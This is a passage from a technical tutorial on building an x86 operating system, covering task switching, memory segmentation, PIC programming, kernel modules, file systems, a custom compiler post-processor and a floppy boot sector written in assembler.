Linux has tried to implement something similar via loadable kernel modules. As a final aside, you will want to learn the assembly language for the target platform's hardware. There are some OS features that are tied directly to hardware and cannot be provided without executing a few dozen lines of hardware-specific assembler. The Intel instruction set is probably one of the most complicated. This is primarily due to historical forces that drove Intel to constantly strive for backwards compatibility. The binary encoding of Intel instructions is particularly perplexing. Which OS component should you tackle first? In what order should the components be implemented? I would recommend that you implement the different areas of functionality in the manner described by the following four sections. --[ 2.1 - Task Model In his book on OS design, Richard Burgess states that you should try to start with the task control code, and I would tend to agree with him. The task model you choose will impact everything else that you do. First, and foremost, an operating system manages tasks. What is a task? The Intel Pentium docs define a process as a "unit of work" (V3 p.6-1). What was that person smoking? It's like saying that a hat is defined as a piece of clothing. It doesn't give any insight into the true nature of a task. I prefer to think of a task a set of instructions being executed by the CPU in conjunction with the machine state which that execution produces. Inevitably, the exact definition of a task is spelled out by the operating system's source code. The Linux kernel (2.4.18) represents each task by a task_struct structure defined in /usr/src/linux/include/linux/sched.h. The kernel's collection of processes are aggregated in two ways. First, they are indexed in a hash table of pointers: extern struct task_struct *pidhash[PIDHASH_SZ]; The task structures are also joined by next_task and prev_task pointers to form a doubly-linked list. struct task_struct { : struct task_struct *next_task, *prev_task; : }; You will need to decide if your OS will multi-task, and if so then what policy will it apply in order to decide when to switch between tasks ( switching tasks is also known as a context switch ). Establishing a mechanism-policy separation is important because you may decide to change the policy later on and you don't want to have to re-write all the mechanism code. Context Switch Mechanism: ------------------------- On the Intel platform, task switching is facilitated by a set of system data structures and a series of special instructions. Specifically, Intel Pentium class processors have a task register (TR) that is intended to be loaded (via the LTR instruction) with a 16-bit segment selector. This segment selector indexes a descriptor in the global descriptor table (GDT). The information in the descriptor includes the base address and size of the task state segment (TSS). The TSS is a state-information repository for a task. It includes register state data (EAX, EBX, etc. ) and keeps track of the memory segments used by a given task. In other words, it stores the 'context' of a task. The TR register always holds the segment selector for the currently executing task. A task switch is performed by saving the state of the existing process in its TSS and then loading the TR with a new selector. How this actually occurs, in terms of what facilitates the re-loading of TR, is usually related to hardware timers. The majority of multi-tasking systems assign each process a quantum of time. The amount of time that a task receives is a policy decision. An on-board timer, like the 82C54, can be set up to generate interrupts at evenly spaced intervals. Every time these interrupts occur, the kernel has an opportunity to check and see if it should perform a task switch. If so, an Intel-based OS can then initiate a task switch by executing a JMP or CALL instruction to the descriptor, in the GDT, of the task to be dispatched. This causes the contents of TR to be changed. Using the timer facilitates what is known as preemptive multitasking. In the case of preemptive multitasking, the OS decides which task gets to execute in conjunction with a scheduling policy. At the other end of the spectrum is cooperative multitasking, where each task decides when to yield the CPU to another task. For an exhaustive treatment of task management on Intel, see Intel's Pentium manual (Volume 3, Chapter 6). Context Switch Policy: ---------------------- Deciding which process gets the CPU's attention, and for how long, is a matter of policy. This policy is implemented by the scheduler. The Linux kernel has a scheduler which is implemented by the schedule() function located in /usr/src/linux/kernel/sched.c. There are a lot of little details in the schedule() function related to handling the scenario where there are multiple processors, and there are also a couple of special cases. However, the core actions taken by the scheduler are relatively straightforward. The scheduler looks through the set of tasks that are eligible to execute. These eligible tasks are tracked by the runqueue data structure. The scheduler looks for the task on the runqueue with the highest 'goodness' value and schedules that task for execution. Goodness is a value calculated by the goodness() function. It basically returns a value which reflects the need for the task to run. Goodness Spectrum ----------------- -1000: never select this 0: re-examine entire list of tasks, not just runqueue +ve: the larger, the better +1000: realtime process, select this. If the highest goodness values of all the tasks in the runqueue is zero, then the scheduler takes a step back and looks at all of the tasks, not just the ones in runqueue. To give you an idea of how this is implemented, I've included a snippet of the schedule() function and some of its more memorable lines: asmlinkage void schedule(void) { struct schedule_data * sched_data; struct task_struct *prev, *next, *p; struct list_head *tmp; int this_cpu, c; : : /* * this is the scheduler proper: */ repeat_schedule: /* * Default process to select.. */ next = idle_task(this_cpu); c = -1000; list_for_each(tmp, &runqueue_head) { p = list_entry(tmp, struct task_struct, run_list); if (can_schedule(p, this_cpu)) { int weight = goodness(p, this_cpu, prev->active_mm); if (weight > c){ c = weight, next = p; } } } /* Do we need to re-calculate counters? */ if (unlikely(!c)) { struct task_struct *p; spin_unlock_irq(&runqueue_lock); read_lock(&tasklist_lock); for_each_task(p) { p->counter = (p->counter >> 1) + NICE_TO_TICKS(p->nice); } read_unlock(&tasklist_lock); spin_lock_irq(&runqueue_lock); goto repeat_schedule; } : : --[ 2.2 - Memory Management A process both occupies and allocates memory. Once you have a task model sketched out, you will need to give it access to a memory management subsystem. Make sure to keep the interface to the memory subsystem clean, so that you can yank it out and replace it later, if you need to. On an OS level, memory protection is provided by two mechanisms: i- segmentation ii- paging You will have to decide whether or not you want to support these two features. Paging, in particular, is a hardware intensive task. This means that if you do decide to provide paging facilities, porting the OS will be difficult at best. According to Tanenbaum, this is the primary reason why Minix does not support paging. Segmentation can be enforced by hardware, or can be done manually via a sand boxing technique at the kernel level. Almost everyone relies on hardware based segmentation because it is faster. Like paging, hardware based segmentation will necessarily involve a lot of hardware specific code and a healthy dose of assembly language. The MMURTL operating system breaks its virtual address space into three segments. There's one code segment for the OS, one code segment for applications, and a single data segment. This doesn't exactly protect the applications from each other, but it does protect the OS. MMURTL Segment Selector Value -------------- -------------- OS code 0x08 Apps code 0x18 Apps data 0x10 MMURTL's memory subsystem is actually set up by the boot sector! That's correct, I said the boot sector. If you look at the source code in bootblok.asm, which Burgess compiles with TASM, you notice that the book code does the book keeping necessary to make the transition to protected mode. Here are a few relevant snippets from the file. IDTptr DW 7FFh ;LIMIT 256 IDT Slots DD 0000h ;BASE (Linear) GDTptr DW 17FFh ;LIMIT 768 slots DD 0800h ;BASE (Linear) : : LIDT FWORD PTR IDTptr ;Load Processor ITD Pointer LGDT FWORD PTR GDTptr ;Load Processor GDT Pointer : : MOV EAX,CR0 ;Control Register OR AL,1 ;Set protected mode bit MOV CR0,EAX JMP $+2 ;Clear prefetch queue with JMP NOP NOP MOV BX, 10h ;Set up segment registers MOV DS,BX MOV ES,BX MOV FS,BX MOV GS,BX MOV SS,BX ;We define a far jump DB 66h DB 67h DB 0EAh DD 10000h DW 8h ; now in protect mode Before he loaded GDTR and IDTR, Burgess loaded the OS into memory so that the base address values in the selectors actually point to valid global and interrupt descriptor tables. It also saves him from having to put these data structures in the boot code, which helps because of the 512 byte size limit. Most production operating systems use paging as a way to augment the address space which the OS manages. Paging is complicated, and involves a lot of dedicated code, and this code frequently executes ... which adds up to a tremendous loss in performance. Disk I/O is probably the most costly operation an isolated computer can perform. Even with the bookkeeping being pushed down to the hardware, paging eats up time. Barry Brey, who is an expert on the Intel chip set, told me that paging on Windows eats up about 10% of the execution time. In fact, paging is so costly, in terms of execution time, and RAM is so cheap that it is often a better idea to buy more memory and turn off paging anyways. In light of this, you shouldn't feel like paging is a necessity. If you are designing an embedded OS, you won't need paging anyways. Back when primary memory cores were 16KB, and those little magnets were big ticket items, paging probably made a whole lot more sense. Today, however, buying a couple GB of SDRAM is not uncommon and this causes me to speculate that maybe paging is a relic of the past. --[ 2.3 - I/O interface This is the scary part. You now have processes, and they live in memory. But they cannot interact with the outside world without connections to I/O devices. Connecting to I/O devices is traditionally performed by sections of code called drivers, which are traditionally buried in the bowels of the OS. As with other components of the OS, you will have to use your assembly language skills. In Intel protected mode, using the BIOS to get data to the screen is not an option because the old real-mode way of handling interrupts and addressing memory is no longer valid. One way to send messages to the screen is to write directly to video memory. Most monitors, even flat panels, start up in either VGA 80x25 monochrome text mode or VGA 80x25 color text mode. memory region real-mode address linear address of buffer ------------- ----------------- ---------------------- monochrome text B000[0]:0000 B0000H color text B800[0]:0000 B8000H In either case, the screen can display 80 rows and 25 columns worth of character data. Each character takes up two bytes in the video RAM memory region ( which isn't so bad ... 80x25=2000x2=4000 bytes ). You can place a character on the screen by merely altering the contents of video RAM. The lower byte holds the ASCII character, and the high byte holds an attribute. The attribute bit is organized as follows: bit 7 blink --------------- bit 6 bit 5 background color ( 0H=black ) bit 4 --------------- bit 3 bit 2 foreground color ( 0EH=white ) bit 1 bit 0 To handle multiple screens, you merely create screen buffers and then commit the virtual screen to video RAM when you want to see it. For example, in protected mode the following code ( written with DJGPP ) will place a 'J' on the screen. #include #include _farpokeb(_dos_ds, 0xB8000, 'J'); _farpokeb(_dos_ds, 0xB8000+1, 0x0F); When I saw the following snippet of code in Minix's console.c file, I knew that Minix used this technique to write to the screen. #define MONO_BASE 0xB0000L /* base of mono video memory */ #define COLOR_BASE 0xB8000L /* base of color video memory */ : : PUBLIC void scr_init(tp) tty_t *tp; { : : if (color) { vid_base = COLOR_BASE; vid_size = COLOR_SIZE; } else { vid_base = MONO_BASE; vid_size = MONO_SIZE; } : : Handling I/O to other devices on the Intel platform is no where nearly as simple. This is where our old friend the 8259 Programmable Interrupt Controller (PIC) comes into play. Recently I have read a lot in Intel docs about an advanced PIC (i.e. APIC), but everyone still seems to be sticking to the old interrupt controller. The 8259 PIC is the hardware liaison between the hardware and the processor. The most common setup involves two 8259 PICs configured in a master-slave arrangement. Each PIC has eight interrupt request lines (IRQ lines) that receive data from external devices ( i.e. the keyboard, hard drive, etc. ). The master 8259 will use its third pin to latch on to the slave 8259 so that, all told, they provide 15 IRQ lines for external hardware. The master 8259 then communicates to the CPU through the CPUs INTR interrupt PIN. The slave 8259 uses it's INTR slot to speak to the master on its third IRQ line. Normally the BIOS will program the 8259 when then computer boots, but to talk to hardware devices in protected mode, the 8259 must be re-programmed. This is because the 8259 couples the IRQ lines to interrupt signals. Programming the 8259 will make use of the IN and OUT instructions. You basically have to send 8-bit values to the 8259's interrupt command register (ICR) and interrupt mask register (IMR) in a certain order. One wrong move and you triple-fault. My favorite example of programming the 8259 PIC comes from MMURTL. The following code is located in INITCODE.INC and is invoked during the initialization sequence in MOS.ASM. ;========================================================================= ; This sets IRQ00-0F vectors in the 8259s ; to be Int20 thru 2F. ; ; When the PICUs are initialized, all the hardware interrupts are MASKED. ; Each driver that uses a hardware interrupt(s) is responsible ; for unmasking that particular IRQ. ; PICU1 EQU 0020h PICU2 EQU 00A0h Set8259 PROC NEAR MOV AL,00010001b OUT PICU1+0,AL ;ICW1 - MASTER jmp $+2 jmp $+2 OUT PICU2+0,AL ;ICW1 - SLAVE jmp $+2 jmp $+2 MOV AL,20h OUT PICU1+1,AL ;ICW2 - MASTER jmp $+2 jmp $+2 MOV AL,28h OUT PICU2+1,AL ;ICW2 - SLAVE jmp $+2 jmp $+2 MOV AL,00000100b OUT PICU1+1,AL ;ICW3 - MASTER jmp $+2 jmp $+2 MOV AL,00000010b OUT PICU2+1,AL ;ICW3 - SLAVE jmp $+2 jmp $+2 MOV AL,00000001b OUT PICU1+1,AL ;ICW4 - MASTER jmp $+2 jmp $+2 OUT PICU2+1,AL ;ICW4 - SLAVE jmp $+2 jmp $+2 MOV AL,11111010b ;Masked all but cascade/timer ; MOV AL,01000000b ;Floppy masked OUT PICU1+1,AL ;MASK - MASTER (0= Ints ON) jmp $+2 jmp $+2 MOV AL,11111111b ; MOV AL,00000000b OUT PICU2+1,AL ;MASK - SLAVE jmp $+2 jmp $+2 RETN SET8259 ENDP ;========================================================================= Note how Burgess performs two NEAR jumps after each OUT instruction. This is to give the PIC time to process the command. Writing a driver can be a harrowing experience. This is because drivers are nothing less than official members of the kernel memory image. When you build a driver, you are building a part of the OS. This means that if you incorrectly implement a driver, you could be dooming your system to a crash of the worst kind ... death by friendly fire. Building drivers is also fraught with all sorts of vendor-specific byte encoding and bit wise acrobatics. The best advise that I can give you is to stick to widely-used, commodity, hardware. Once you have a working console, you can attempt to communicate with a disk drive and then maybe a network card. You might want to consider designing your OS so that drivers can be loaded and unloaded at runtime. Having to recompile the kernel to accommodate a single driver is a pain. This will confront you with creating an indirect calling mechanism so that the OS can invoke the driver, even though it does not know in advance where that driver is. The Linux kernel allows code to be added to the kernel at runtime via loadable kernel modules (LKMs). These dynamically loadable modules are nothing more than ELF object files ( they've been compiled, but not officially linked ). There are a number of utilities that can be used to manage LKMs. Two of the most common are insmod and rmmod, which are used to insert and remove LKMs at runtime. The insmod utility acts as a linker/loader and assimilates the LKM into the kernel's memory image. Insmod does this by invoking the init_module system call. This is located in /usr/src/linux/kernel/module.c. asmlinkage long sys_init_module(const char *name_user, struct module *mod_user){ ... This function, in turn, invokes another function belonging to the LKM which also just happens to be named init_module(). Here is a the relevant snippet from sys_init_module(): /* Initialize the module. */ atomic_set(&mod->uc.usecount,1); mod->flags |= MOD_INITIALIZING; if (mod->init && (error = mod->init()) != 0) { atomic_set(&mod->uc.usecount,0); mod->flags &= ~MOD_INITIALIZING; if (error > 0) /* Buggy module */ error = -EBUSY; goto err0; } atomic_dec(&mod->uc.usecount); The LKM's init_module() function, which is pointed to by the kernel code above, then invokes a kernel routine to register the LKMs subroutines. Here is a simple example: /* Initialize the module - Register the character device */ int init_module() { /* Register the character device (atleast try) */ Major = module_register_chrdev( 0, DEVICE_NAME, &Fops); /* Negative values signify an error */ if (Major < 0) { printk ("%s device failed with %d\n", "Sorry, registering the character", Major); return Major; } printk ("%s The major device number is %d.\n", "Registeration is a success.", Major); printk ("If you want to talk to the device driver,\n"); printk ("you'll have to create a device file. \n"); printk ("We suggest you use:\n"); printk ("mknod c %d \n", Major); printk ("You can try different minor numbers %s", "and see what happens.\n"); return 0; } The Unix OS, in an attempt to simply things, treats every device like a file. This is done in order to keep the number of system calls down and to offer a uniform interface from one hardware subsystem to the next. This is an approach worth considering. However, on the other hand, the Unix approach have not always gotten a good grade in terms of ease of use. Specifically, I have heard complaints about mounting and un-mounting from Windows users who migrate to Unix. Note, If you do take the LKM route, you should be careful not to make the loadable driver feature into a security flaw. With regard to nuts-and-bolts details, for the Intel platform, I would recommend Frank Van Gilluwe's book. If you are not targeting Intel, then you have some real digging to do. Get on the phone and the internet and contact your hardware vendors. --[ 2.4 - File System You now have processes, in memory, that can talk to the outside world. The final step is to give them a way of persisting and organizing data. In general, you will build the file system manager on top of the disk drivers that you implemented earlier in the last step. If your OS is managing an embedded system, you may not need to implement a file system because no disk hardware exists. Even with embedded systems, though, I've seen file systems implemented as RAM disks. Even embedded systems sometimes need to produce and store log files .... There are several documented files system specifications available to the public, like the ext2 file system made famous by Linux. Here is the main link for the ext2 implementation: http://e2fsprogs.sourceforge.net/ext2.html The documentation at this site should be sufficient to get you started. In particular, there is a document named "Design and Implementation of the Second Extended File System" which I found to be a well-rounded introduction to ext2. If you have the Linux kernel source and you want to take a look at the basic data structures of the ext2fs, then look in: /usr/src/linux/include/linux/ext2_fs.h /usr/src/linux/include/linux/ext2_fs_i.h To take a look at the functions that manipulate these data structures, take a look in the following directory: /usr/src/linux/fs/ext2 In this directory you will see code like: #include MODULE_AUTHOR("Remy Card and others"); MODULE_DESCRIPTION("Second Extended Filesystem"); MODULE_LICENSE("GPL"); in inode.c, and in super.c you will see: EXPORT_NO_SYMBOLS; module_init(init_ext2_fs) module_exit(exit_ext2_fs) Obviously, from the previous discussion, you should realize that support for ext2fs can be provided by an LKM! Some OS creators, like Burgess, go the way of the MS-DOS FAT file system, for the sake of simplicity, and so they didn't have to reformat their hard drives. I wouldn't recommend the FAT system. In general, you might want to keep in mind that it is a good idea to implement a file system which facilitates file ownership and access controls. More on this in the next section ... --[ 2.5 - Notes On Security Complexity is the enemy of security. Simple procedures are easy to check and police, complicated ones are not. Any certified accountant will tell you that our Byzantine tax laws leave all sorts of room for abuse. Software is the same way. Complicated source code has the potential to provide all sorts of insidious places for bugs to hide. As operating systems have evolved they have become more complicated. According to testimony given by a Microsoft executive on Feb. 2, 1999, Windows 98 consists of over 18 million lines of code. Do you think there is a bug in there somewhere? Oh, ... no ... Microsoft wouldn't sell buggy code ... Security is not something that you want to add on to your OS when you are almost done with it. Security should be an innate part of your system's normal operation. Keep this in mind during every phase of construction, from task management to the file system manager. In addition, you might consider having a creditable third party perform an independent audit of your security mechanisms before you proclaim your OS as being 'secure.' For example, the NSA evaluates 'trusted' operating systems on a scale from C2 to A1. A 'trusted' OS is just an OS which has security policies in place. The salient characteristic of a trusted system is the ranking which the NSA gives it. A C2 trusted system has only limited access and authentication controls. An A1 trusted system, at the other end of the spectrum, has rigorous and mandatory security mechanisms. People who have imaginary enemies are called 'paranoid.' People who have enemies that they think are imaginary are called 'victims.' It's often hard to tell the two apart until its too late. If I had to trust my business to an OS, I would prefer to invest in one that errs on the side of paranoia. --[ 3 - Simple Case Study In this section, I present you with some home-brewed system code in an effort to highlight some of the issues that I talked about in Part 1. --[ 3.1 - Host Platform For a number of reasons, I decided to take a shortcut and create an OS that runs on Intel 8x86 hardware. Cost was one salient issue, and so was the fact that there are several potential host operating systems to choose from ( Linux, OpenBSD, MMURTL, Windows, etc. ). The primary benefit, however, is that I can avoid ( to an extent ) having to build a cross-compiler and simulator from scratch. By having the host and target systems run on the same hardware, I was able to take advantage of existing tools that generated x86 binaries and emulated x86 hardware. For the sake of appealing to the least common denominator, I decided to use Windows as a host OS. Windows, regardless of its failings, happens to be have the largest base of users. Almost anyone should be able to follow the issues and ideas I discuss in Part 3. One side benefit of choosing Windows is that it ships with its own simulator. The DOS Virtual Machine subsystem is basically a crudely implemented 8086 simulator. I say 'crude' because it doesn't have the number or range of features that bochs provides. I actually tested a lot of code within the confines of the DOS VM. --[ 3.2 - Compiler Issues There are dozens of C compilers that run on Windows. I ended up having three requirements for choosing one: i- generates raw binary ( i.e. MS .COM file ) ii- allow for special in-line instructions (i.e. INT, LGDT ) iii- is free Intel PCs boot into real-mode, which means that I will need to start the party with a 16-bit compiler. In addition, system code must be raw binary so that runtime address fix ups do not have to be manually implemented. This is not mandatory, but it would make life much easier. The only commercial compilers that generated 16-bit, raw binary, files passed out of fashion years ago ... so I had to do some searching. After trolling the net for compilers, I ended up with the following matrix: compiler decision reason -------- -------- ------ TurboC NO in-line assembly requires TASM ($$$) Micro-C YES generates MASM friendly output PacificC NO does not support tiny MM (i.e. .COM) Borland 4.5C++ NO costs $$$ VisualC++ 1.52 NO costs $$$ Watcom NO does not support tiny MM (i.e. .COM) DJGPP NO AT&T assembler syntax ( yuck ) I Ended up working with Micro-C, even though it does not support the entire ANSI standard. The output of Micro-C is assembler and can be fed to MASM without to much trouble. Micro-C was created by Dave Dunfield and can be found at: ftp://ftp.dunfield.com/mc321pc.zip Don't worry about the MASM dependency. You can now get MASM 6.1 for free as a part of the Windows DDK. See the following URL for details: http://www.microsoft.com/ddk/download/98/BINS_DDK.EXE http://download.microsoft.com/download/vc15/Update/1/WIN98/EN-US/Lnk563.exe The only downside to obtaining this 'free' version of MASM ( i.e. the ML.EXE,ML.err, and LINK.EXE files ) is that they come with zero documents. Ha ha, the internet to the rescue .... http://webster.cs.ucr.edu/Page_TechDocs/MASMDoc By using Micro-C, I am following the advice I gave in Part 1 and sticking to the tools that I am skilled with. I grew up using MASM and TASM. I am comfortable using them at the command line and reading their listing files. Because MASM is the free tool I picked it over TASM, even if it is a little buggy. One problem with using most C compilers to create OS code is that they all add formatting information to the executable files they generate. For example, the current version of Visual C++ creates console binaries that obey the Portable Executable (PE) file format. This extra formatting is used by the OS program loader at runtime. Compilers also tack on library code to their executables, even when they don't need it. Consider a text file named file.c consisting of the code: void main(){} I am going to compile this code as a .COM file using TurboC. Take a look at the size of the object file and final binary. C:\DOCS\OS\lab\testTCC>tcc -mt -lt -ln file.c C:\DOCS\OS\lab\testTCC>dir . 03-29-02 9:26p . .. 03-29-02 9:26p .. FILE C 19 03-30-02 12:07a file.c FILE OBJ 184 03-30-02 12:09a FILE.OBJ FILE COM 1,742 03-30-02 12:09a file.com Holy smokes... there's a mother load of ballast that the compiler adds on. This is strictly the doing of the compiler and linker. Those bastards! To see how excessive this actually is, let's look at a .COM file which is coded in assembler. For example, let's create a file.asm that looks like: CSEG SEGMENT start: ADD ax,ax ADD ax,cx CSEG ENDS end start We can assemble this with MASM C:\DOCS\OS\lab\testTCC>ml /AT file.asm C:\DOCS\OS\lab\testTCC>dir . 03-29-02 9:26p . .. 03-29-02 9:26p .. FILE OBJ 53 03-30-02 12:27a file.obj FILE ASM 67 03-30-02 12:27a file.asm FILE COM 4 03-30-02 12:27a file.com 5 file(s) 187 bytes 2 dir(s) 7,463.23 MB free As you can see, the executable is only 4 bytes in size! The assembler didn't add anything, unlike the C compiler, which threw in everything but the kitchen sink. In all likelihood, the extra space is probably taken up by libraries which the linker appends on. The painful truth is, unless you want to build your own backend to a C compiler, you will be faced with extra code and data on your OS binary. One solution is simply to ignore the additional bytes. Which is to say that the OS boot loader will simply skip the formatting stuff and go right for the code which you wrote. If you decide to take this route, you might want to look at a hex dump of your binary to determine the file offset at which your code begins. I escaped dealing with this problem because Micro-C's C compiler (MCC) spits out an assembly file instead of object code. This provided me with the opportunity to tweak and remove any extra junk before it gets a chance to find its way into the executable. However, I still had problems... For example, the MCC compiler would always add extra segments and place program elements in them. Variables translated to assembler would always be prefixed with these unwanted segments (i.e. OFFSET DGRP:_var ). Take the program: char arr[]={'d','e','v','m','a','n','\0'}; void main(){} MCC will process this file and spit out: DGRP GROUP DSEG,BSEG DSEG SEGMENT BYTE PUBLIC 'IDATA' DSEG ENDS BSEG SEGMENT BYTE PUBLIC 'UDATA' BSEG ENDS CSEG SEGMENT BYTE PUBLIC 'CODE' ASSUME CS:CSEG, DS:DGRP, SS:DGRP EXTRN ?eq:NEAR,?ne:NEAR,?lt:NEAR,?le:NEAR,?gt:NEAR EXTRN ?ge:NEAR,?ult:NEAR,?ule:NEAR,?ugt:NEAR,?uge:NEAR EXTRN ?not:NEAR,?switch:NEAR,?temp:WORD CSEG ENDS DSEG SEGMENT PUBLIC _arr _arr DB 100,101,118,109,97,110,0 DSEG ENDS CSEG SEGMENT PUBLIC _main _main: PUSH BP MOV BP,SP POP BP RET CSEG ENDS END Rather than re-work the backend of the compiler, I implemented a more immediate solution by creating a hasty post-processor. The alternative would have been to manually adjust each assembly file that MCC produced, and that was just too much work. The following program ( convert.c ) creates a skeleton .COM program of the form: .486 CSEG SEGMENT BYTE USE16 PUBLIC 'CODE' ORG 100H ; for DOS PSP only, strip and start OS on 0x0000 offset here: JMP _main ; --> add stuff here <---- EXTRN ?eq:NEAR,?ne:NEAR,?lt:NEAR,?le:NEAR,?gt:NEAR EXTRN ?ge:NEAR,?ult:NEAR,?ule:NEAR,?ugt:NEAR,?uge:NEAR EXTRN ?not:NEAR,?switch:NEAR,?temp:WORD CSEG ENDS END here It then picks out the procedures and data elements in the original assembly program and places them in the body of the skeleton. Here is the somewhat awkward, but effective program that performed this task: /* convert.c------------------------------------------------------------*/ #include #include /* read a line from fptr, place in buff */ int getNextLine(FILE *fptr,char *buff) { int i=0; int ch; ch = fgetc(fptr); if(ch==EOF){ buff[0]='\0'; return(0); } while((ch=='\n')||(ch=='\r')||(ch=='\t')||(ch==' ')) { ch = fgetc(fptr); if(ch==EOF){ buff[0]='\0'; return(0); } } while((ch!='\n')&&(ch!='\r')) { if(ch!=EOF){ buff[i]=(char)ch; i++; } else { buff[i]='\0'; return(0); } ch = fgetc(fptr); } buff[i]='\r';i++; buff[i]='\n';i++; buff[i]='\0'; return(1); }/*end getNextLine*/ /* changes DGRP:_variable to CSEG:_variable */ void swipeDGRP(char *buff) { int i; i=0; while(buff[i]!='\0') { if((buff[i]=='D')&& (buff[i+1]=='G')&& (buff[i+2]=='R')&& (buff[i+3]=='P')) { buff[i]='C';buff[i+1]='S';buff[i+2]='E';buff[i+3]='G'; } if((buff[i]=='B')&& (buff[i+1]=='G')&& (buff[i+2]=='R')&& (buff[i+3]=='P')) { buff[i]='C';buff[i+1]='S';buff[i+2]='E';buff[i+3]='G'; } i++; } return; }/*end swipeDGRP*/ void main(int argc, char *argv[]) { FILE *fin; FILE *fout; /*MASM allows lines to be 512 chars long, so have upper bound*/ char buffer[512]; char write=0; fin = fopen(argv[1],"rb"); printf("Opening %s\n",argv[1]); fout = fopen("os.asm","wb"); fprintf(fout,".486P ; enable 80486 instructions\r\n"); fprintf(fout,"CSEG SEGMENT BYTE USE16 PUBLIC \'CODE\'\r\n"); fprintf(fout,";\'USE16\' forces 16-bit offset addresses\r\n"); fprintf(fout,"ASSUME CS:CSEG, DS:CSEG, SS:CSEG\r\n"); fprintf(fout,"ORG 100H\r\n"); fprintf(fout,"here:\r\n"); fprintf(fout,"JMP _main\r\n\r\n"); fprintf(fout,"EXTRN ?eq:NEAR,?ne:NEAR,?lt:NEAR,?le:NEAR,?gt:NEAR\r\n"); fprintf(fout,"EXTRN ?ge:NEAR,?ult:NEAR,?ule:NEAR,?ugt:NEAR,?uge:NEAR\r\n"); fprintf(fout,"EXTRN ?not:NEAR,?switch:NEAR,?temp:WORD\r\n\r\n"); while(getNextLine(fin,buffer)) { if((buffer[0]=='P')&& (buffer[1]=='U')&& (buffer[2]=='B')&& (buffer[3]=='L')&& (buffer[4]=='I')&& (buffer[5]=='C')){ fprintf(fout,"\r\n"); write=1;} if((buffer[0]=='D')&& (buffer[1]=='S')&& (buffer[2]=='E')&& (buffer[3]=='G')){ write=0;} if((buffer[0]=='B')&& (buffer[1]=='S')&& (buffer[2]=='E')&& (buffer[3]=='G')){ write=0;} if((buffer[0]=='R')&& (buffer[1]=='E')&& (buffer[2]=='T')){ fprintf(fout,"%s",buffer); write=0;} if(write) { swipeDGRP(buffer); fprintf(fout,"%s",buffer); } buffer[0]='\0'; } fprintf(fout,"CSEG ENDS\r\n"); fprintf(fout,"END here\r\n"); fclose(fin); fclose(fout); return; }/*end main-------------------------------------------------------------*/ --[ 3.3 - Booting Up In the following discussion, I'm going to discuss booting from a floppy disk. Booting from a hard drive, CD-ROM, or other storage device is typically a lot more complicated due to partitioning and device formatting. OK, the first thing I'm going to do is build a boot program. This program has to be small. In fact, it has to be less than 512 bytes in size because it has to fit on the very first logical sector of the floppy disk. Most 1.44 floppy disks have 80 tracks per side and 18 sectors per track. The BIOS labels the two sides ( 0,1 ), tracks 0-79, and sectors 1-18. When an Intel machine boots, the BIOS firmware (which resides in a ROM chip on the motherboard) will look for a bootable storage device. The order in which it does so can be configured on most machines via a BIOS startup menu system. If the BIOS finds a boot diskette, it will read the diskettes boot sector (Track 0, Side 0 and Sector 1) into memory and execute the boot sector code. Some times this code will do nothing more than print a message to the screen: Not a boot disk, you are hosed. All 8x86 machines start in real-mode, and the boot sector is loaded into memory at the address 0000[0]:7C00 ( or 0x07C00 ) using hexadecimal. Once this occurs, the BIOS washes its hands of the booting procedure and we are left to our own devices. Many operating systems will have the boot sector load a larger boot program, which then loads the OS proper. This is known as a multi-stage boot. Large operating systems that have a lot of things to set up, a complicated file structure, and flexible configuration, will utilize a multi-stage boot loader. A classic example of this is GNU's GRand Unified Bootloader ( GRUB ). http://www.gnu.org/software/grub As usual, I am going to take the path of least resistance. I am going to have the boot sector directly load my system code. The boot sector assumes that the system code will be located directly after the boot sector (track 0, side, 0, sector 2 ). This will save me from including special data and instructions to read a file system. Finally, because of size constraints, all the code in this section will be written in assembler. The boot code follows: ;-boot.asm---------------------------------------------------------------- .8086 CSEG SEGMENT start: ; step 1) load the OS on floppy ; to location above the ; existing interrupt table (0-3FF) ; and BIOS data region (400-7FF) MOV AH,02H ; read command MOV AL,10H ; 16 sectors = 8KB of storage to load MOV CH,0H ; low 8 bits of track number MOV CL,2H ; sector start ( right after boot sector ) MOV DH,0H ; side MOV DL,0H ; drive MOV BX,CS MOV ES,BX ; segment to load code MOV BX,0H MOV BX,800H ; offset to load code ( after IVT ) INT 13H ; signal that code was loaded and we are going to jump MOV AH,0EH MOV AL,'-' INT 10H MOV AH,0EH MOV AL,'J' INT 10H MOV AH,0EH MOV AL,'M' INT 10H MOV AH,0EH MOV AL,'P' INT 10H MOV AH,0EH MOV AL,'-' INT 10H ; step 2) jump to the OS ; bonzai!!! JMP BX CSEG ENDS END start ;-end file---------------------------------------------------------------- This boot loader also assumes that the system code to be loaded lies in sectors 2-17 on the first track. As the OS gets bigger ( beyond 8K ), extra instructions will be needed to load the additional code. But for now lets assume that the code will be less than 8K in size. OK, you should build the above code as a .COM file and burn it on to the boot sector. The boot.asm file is assembled via: C:\> ML /AT boot.asm How do you do burn it on to the floppy disk's boot sector? Ah ha! Debug to the rescue. Note, for big jobs I would recommend rawrite. This is such a small job that debug will suffice. Not to mention, I have nostalgic feeling about debug. I assembled my first program with it; back in the 1980s when parachute pants were in. Assuming the boot code has been assembled to a file named boot.COM, here is how you would write it to the boot sector of a floppy disk. C:\DOCS\OS\lab\bsector>debug showmsg.com -l -w cs:0100 0 0 1 -q C:\DOCS\OS\lab\bsector> The 'l' command loads the file to memory starting at CS:0100 hex. The 'w' command writes this memory to disk A ( 0 ) starting at sector 0 and writing a single sector. The 'w' command has the general form: w address drive start-sector #-sectors Note, DOS sees logical sectors ( which start with 0 ), whereas physical (BIOS manipulated) sectors always start with 1. If you want to test this whole procedure, assemble the following program as a .COM file and burn it on to the boot sector of a diskette with debug. .486 CSEG SEGMENT start: MOV AH,0EH MOV AL,'-' INT 10H MOV AH,0EH MOV AL,'h' INT 10H MOV AH,0EH MOV AL,'i' INT 10H MOV AH,0EH MOV AL,'-' INT 10H lp LABEL NEAR JMP lp CSEG ENDS END start This will print '-hi-' to the console and then loop. It's a nice way to break the ice and build your confidence. Especially if you've never manually meddled with disk sectors. --[ 3.4 - Initializing The OS The boot sector loads the system code binary into memory and then sets CS and IP to the first ( lowest ) byte of the code's instructions. My system code doesn't do anything more than print a few messages and then jump to protected mode. Execution ends in an infinite loop. I wrote the program using real-mode instructions. Intel machines all start up in real-mode. It is the responsibility of this initial code to push the computer into protected memory mode. Once in protected mode, the OS will adjust its segment registers, set up a stack, and establish an execution environment for applications ( process table, drivers, etc.). This made life difficult because if I could only go so far using real-mode instructions and registers. Eventually, I would need to use the extended registers (i.e. EAX ) to access memory 